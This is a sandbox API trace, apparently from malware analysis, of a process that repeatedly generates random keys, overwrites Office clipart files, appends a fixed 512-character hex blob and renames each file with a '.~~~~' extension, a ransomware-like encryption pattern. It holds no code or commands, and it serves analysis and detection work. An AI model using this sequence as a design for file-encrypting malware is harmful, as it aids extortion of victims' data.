	[0102.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa701d050, dwHighDateTime=0x1d60e1e)) 
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863520
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863520 | out: hHeap=0x300000) returned 1
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28665a8
	[0102.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.887] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0102.887] GetLastError () returned 0x0
	[0102.887] GetLastError () returned 0x0
	[0102.887] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0102.887] GetLastError () returned 0x0
	[0102.887] GetLastError () returned 0x0
	[0102.959] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffa152, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.960] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x5eae, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x5eae, lpOverlapped=0x0) returned 1
	[0102.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0102.961] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.961] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.962] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.962] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.963] CloseHandle (hObject=0x11c) returned 1
	[0102.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.963] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.~~~~")) returned 1
	[0102.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0102.964] GetLastError () returned 0x0
	[0102.983] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0102.997] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.997] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0102.998] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22298789158) returned 1
	[0102.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa71279f0, dwHighDateTime=0x1d60e1e)) 
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863638
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863638 | out: hHeap=0x300000) returned 1
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866808
	[0102.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.999] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0102.999] GetLastError () returned 0x0
	[0102.999] GetLastError () returned 0x0
	[0102.999] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0102.999] GetLastError () returned 0x0
	[0102.999] GetLastError () returned 0x0
	[0103.069] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffde7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.069] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2182, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2182, lpOverlapped=0x0) returned 1
	[0103.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0103.070] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.071] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.071] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.071] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.071] CloseHandle (hObject=0x11c) returned 1
	[0103.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.~~~~")) returned 1
	[0103.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.072] GetLastError () returned 0x0
	[0103.073] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.074] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.074] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.074] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22306431455) returned 1
	[0103.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa71e60d0, dwHighDateTime=0x1d60e1e)) 
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863788
	[0103.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863788 | out: hHeap=0x300000) returned 1
	[0103.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28669d0
	[0103.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.075] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.075] GetLastError () returned 0x0
	[0103.075] GetLastError () returned 0x0
	[0103.075] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.075] GetLastError () returned 0x0
	[0103.076] GetLastError () returned 0x0
	[0103.094] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffeb00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.094] WriteFile (in: hFile=0x11c, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0x1500, lpOverlapped=0x0) returned 1
	[0103.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.098] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.098] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.098] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.098] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.098] CloseHandle (hObject=0x11c) returned 1
	[0103.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.~~~~")) returned 1
	[0103.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.134] GetLastError () returned 0x0
	[0103.142] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.143] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.143] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.144] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22313378367) returned 1
	[0103.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa72a47b0, dwHighDateTime=0x1d60e1e)) 
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28638a0
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28638a0 | out: hHeap=0x300000) returned 1
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866df8
	[0103.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.144] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.145] GetLastError () returned 0x0
	[0103.145] GetLastError () returned 0x0
	[0103.145] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.145] GetLastError () returned 0x0
	[0103.145] GetLastError () returned 0x0
	[0103.153] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdb80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.153] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x2480, lpOverlapped=0x0) returned 1
	[0103.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0103.154] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.154] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.154] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.154] CloseHandle (hObject=0x11c) returned 1
	[0103.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.~~~~")) returned 1
	[0103.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.156] GetLastError () returned 0x0
	[0103.156] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.158] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.158] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.158] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22314800177) returned 1
	[0103.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa72ca910, dwHighDateTime=0x1d60e1e)) 
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863910
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863910 | out: hHeap=0x300000) returned 1
	[0103.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28670f0
	[0103.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.159] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.159] GetLastError () returned 0x0
	[0103.159] GetLastError () returned 0x0
	[0103.159] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.159] GetLastError () returned 0x0
	[0103.160] GetLastError () returned 0x0
	[0103.166] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffeb04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.166] WriteFile (in: hFile=0x11c, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x14fc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0x14fc, lpOverlapped=0x0) returned 1
	[0103.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.168] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.168] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.168] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.168] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.168] CloseHandle (hObject=0x11c) returned 1
	[0103.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.~~~~")) returned 1
	[0103.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.169] GetLastError () returned 0x0
	[0103.169] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.170] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.170] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
